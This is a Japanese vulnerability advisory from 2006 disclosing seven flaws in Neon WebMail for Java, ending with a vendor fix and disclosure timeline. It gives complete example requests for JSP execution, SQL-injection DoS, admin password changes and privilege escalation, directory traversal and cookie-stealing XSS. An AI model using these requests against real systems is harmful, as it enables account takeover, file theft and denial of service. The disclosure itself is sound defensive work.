by Tan Chew Keong タン チュー ケオン
Release Date: 2006-09-20
[en] [jp]
概要
Neon
WebMail for Java は、7つ脆弱性があります。悪意のあるユー
ザは、この脆弱性を利用しサーバーに任意のJSPコードを実行されたり、他のユー
ザのパスワードを盗難されたり、管理者権限を盗難されたり、サーバーから任意のファイルをダウンロードされたり、MySQLサーバーをDoS
攻撃などが行なわれる可能性があります。
問題を確認したバージョン
Neon WebMail for Java version 5.06 と 5.07
(build.200607050)
問題
この脆弱性報告は、Neon WebMail for Java に7つ脆弱性を公開しました。
Neon WebMail は、"/neonwebmail/users/username/YYYYMMDD/"
フォルダには、オリジナルファイル名でメールの添付ファイルを
保存されます。そのフォルダは、Tomcatサーバーのウェブディレクトリの中にあるので、JSP添付ファイルのコードを実行ことができます。
攻撃の例:
(a) 遠隔の第三者は、JSPコードを実行ことができる
悪意のある遠隔の第三者は、Neon WebMail
ユーザにメールを送ります。そのメールは、JSP添付ファイルがある (例:file.jsp)。 Neon WebMail
ユーザが、そのメールを見るとき、Neon WebMail
は、"/neonwebmail/users/username/YYYYMMDD/" フォルダに JSP添付ファイルを
保存します。それは、遠隔の第三者がブラウザーでこの URLを使用、任意のJSPコードを実行ことができる。
"http://[host]:8080/neonwebmail/users/username/YYYYMMDD/file.jsp"
(b) 悪意のある Neon WebMail ユー
ザは、JSPコードを実行ことができる
悪意のある Neon WebMail ユー
ザは、自分にメールを送ります。そのメールは、JSP添付ファイルがある (例:file.jsp)。 Neon WebMail
は、"/neonwebmail/users/username/YYYYMMDD/" フォルダに JSP添付ファイルを
保存します。それは、悪意のあるユーザがブラウザーでこの URLを使用、任意のJSPコードを実行ことができる。
"http://[host]:8080/neonwebmail/users/username/YYYYMMDD/file.jsp"
Neon
WebMail の "updatemail" Servlet は、ユーザのメールを他のメールフォルダへ移動前に、useridをチェック
しない。悪意のあるユーザは、この脆弱性を利用し他のユーザのメールを任意のメールフォルダへ移動ことができる。
例:
(a) Trash Folder (Folder ID = -9) へ Mail ID = 1
を移動します:
たとえば、 Mail ID = 1 は、他のユーザのメールです。
http://192.168.1.64:8080/neonwebmail/updatemail?ID=1&getpost=get&folderid=-1&tofolderid=-9&status=1&
execute=move
(b) Mail ID = 1 は、Trash Folder (Folder ID =
-9) から (Folder ID = 100) まで移動します:
たとえば、 Mail ID = 1 は、他のユーザのメールです。
http://192.168.1.64:8080/neonwebmail/updatemail?ID=1&getpost=get&folderid=-9&tofolderid=100&status=1&
execute=move
NOTE: 犠牲者がフォルダ番号を知らないので、メールを見ることができません。
Neon WebMail
の "addrlist" Servlet は、"adr_sortkey" と "adr_sortkey_desc"
パラメータ処理が不十分であるため、SQL
インジェクションの脆弱性が存在します。"adr_sortkey" と "adr_sortkey_desc"
パラメータは、"DB_ADDR_BOOK" の class に SELECT query で使われます。
この脆弱性は、MySQLサーバーをDoS
攻撃が行なわれる可能性があります。悪意のある SQL
queryで MySQL が100% のCPU を使うことができます。
注意: この脆弱性を悪用前に、アドレス帳に1つアドレスエントリが必要です。
例:
http://192.168.1.64:8080/neonwebmail/addrlist?PAGE=1&sysid=0&adr_sortkey=rand(benchmark(1000000000000,
sha1('123456781234567812345678')))&adr_sortkey_desc=
MySQLサーバーにこのqueryを実行するので、100% のCPU を使用になりました。
SELECT * FROM T_ADDR_BOOK WHERE ID = 'username' ORDER BY
ID,rand(benchmark(1000000000000,sha1('123456781234567812345678'))),SYSID
DESC
Neon WebMail
の "maillist" Servlet は、"sortkey" と "sortkey_desc"
パラメータ処理が不十分であるため、SQL
インジェクションの脆弱性が存在します。"sortkey" と "sortkey_desc"
パラメータは、"DB_MAIL_DATA" の class に SELECT query で使われます。
この脆弱性は、MySQLサーバーをDoS
攻撃が行なわれる可能性があります。悪意のある SQL
queryで MySQL が100% のCPU を使うことができます。
注意: この脆弱性を悪用前に、受信トレイに1つメールが必要です。
例:
http://192.168.1.64:8080/neonwebmail/maillist?getpost=get&PAGE=1&folderid=-1&sysid=0&
sortkey=SENDER,rand(benchmark(1000000000000,sha1('123456781234567812345678')))
&sortkey_desc=&sendkind=&searchlist=
MySQLサーバーにこのqueryを実行するので、100% のCPU を使用になりました。
SELECT T.* FROM T_MAIL_DATA T WHERE T.ID = 'username'
AND (T.ISTRASH =
'0' OR T.ISTRASH IS NULL) AND T.FOLDERID = -1 ORDER BY
T.ID,T.SENDER,rand(benchmark(1000000000000,sha1('123456781234567812345678')))
,T.SYSID DESC ,T.GETPOST
Neon
WebMail の "updateuser" Servlet は、ユーザの個人設定を変える前に、"in_id" パラメータをチェック
しない。悪意のあるユーザは、この脆弱性を利用し他のユーザの個人設定を改ざんことができる。他のユーザのパスワードを変えたり、管理者権限を盗難した
り、ユーザアカウントを削除ことができる。
たとえば、Normal ユーザログオンで、
(a) このリクエストで管理者のパスワードは、"hacked" に変えます。
http://192.168.1.64:8080/neonwebmail/updateuser?in_id=admin&in_pass=hacked&in_name=admin&
in_admin=1&in_showmailcount=10&in_usecss=1&in_autopoptime=5&in_replysign=&in_isquotation=1&
in_formwidth=50&exe=update
(b) "guest" ユーザは、管理者になることができる。
http://192.168.1.64:8080/neonwebmail/updateuser?in_id=guest&in_pass=guest&in_name=guest&in_admin=1&
in_showmailcount=20&in_usecss=1&in_autopoptime=5&in_poppop=1&in_replysign=&in_formwidth=80&exe=update
(c) Normal ユーザで管理者の個人設定を見ることができる。管理者のパスワードも。
http://192.168.1.64:8080/neonwebmail/updateuser?in_id=admin&exe=read
(d) Normal ユーザで管理者ユーザを新規登録ことができる。(ユーザID:super)
http://192.168.1.64:8080/neonwebmail/updateuser?in_id=super&in_pass=super&in_name=super&in_admin=1&
in_showmailcount=10&in_usecss=1&in_autopoptime=5&in_replysign=&in_isquotation=1&in_formwidth=50&
exe=insert
(e) Normal ユーザで他のユーザアカウントを削除ことができる。
http://192.168.1.64:8080/neonwebmail/updateuser?in_id=super&exe=delete
(f) Normal ユーザで管理者の名前の設定に Javascript を入力ことができる。
http://192.168.1.64:8080/neonwebmail/updateuser?in_id=admin&in_pass=hacked&
in_name=<script>alert(document.cookie);</script>&in_admin=1&in_showmailcount=10&
in_usecss=1&in_autopoptime=5&in_replysign=&in_isquotation=1&in_formwidth=50&exe=update
Neon WebMail の "downloadfile"
Servlet は、添付ファイルファイルをダウンロード前に、"savefolder" と "savefilename" パラメータ処理が不十分で
あるため、ディレクトリトラバーサルの脆弱性が存在します。
悪意のあるユーザは、この問題を利用しサーバーに他のファイルをダウンロード可能性があります。
http://192.168.1.64:8080/neonwebmail/downloadfile?filename=filename.ext&savefolder=[traversal]&
savefilename=[traversal]
例:
http://192.168.1.64:8080/neonwebmail/downloadfile?filename=filename.ext&
savefolder=anything&savefilename=/../../../../../../../../../boot.ini
http://192.168.1.64:8080/neonwebmail/downloadfile?filename=filename.ext&
savefolder=/../../../../../../../../../boot.ini&savefilename=
http://192.168.1.64:8080/neonwebmail/downloadfile?filename=filename.ext&
savefolder=/../../../../../../../../../&savefilename=boot.ini
悪意のあるユーザは、個人設定ページの名前の設定に Javascript を入力ことができる
("in_name"
パラメータ)。管理者は、そのページを見て、ブラウザ上で任意のスクリプトを実行される可能性があります。また、Cookie
情報に含まれるセッション情報が漏洩した結果、セッション・ハイジャックが行われる可能性があります。
例:
a) Normal ユーザで 個人設定ページの名前の設定に <script>alert(document.cookie);</script>
を入力します。変更ボタンを押下します。
b) 後で、 管理者で個人設定ページを見て下さい。
対策
ベンダーによると、脆弱性は version 5.08 で修正したそうです。修正版のダウンロード。
発見と報告の経緯
2006年07月04日 - 脆弱性の発見。
2006年07月12日 - ベンダに報告しました。
2006年07月13日 - ベンダーから答えを受け取りました。
2006年08月09日 - 再度メールでベンダーに報告しました。
2006年08月09日 - ベンダーによると、修正版は8月の末リリースします。
2006年09月01日 - 再度メールでベンダーに報告しました。
2006年09月05日 - 再度メールでベンダーに報告しました。
2006年09月17日 - ベンダーは修正版をリリースしました。
2006年09月20日 - 本脆弱性の公開。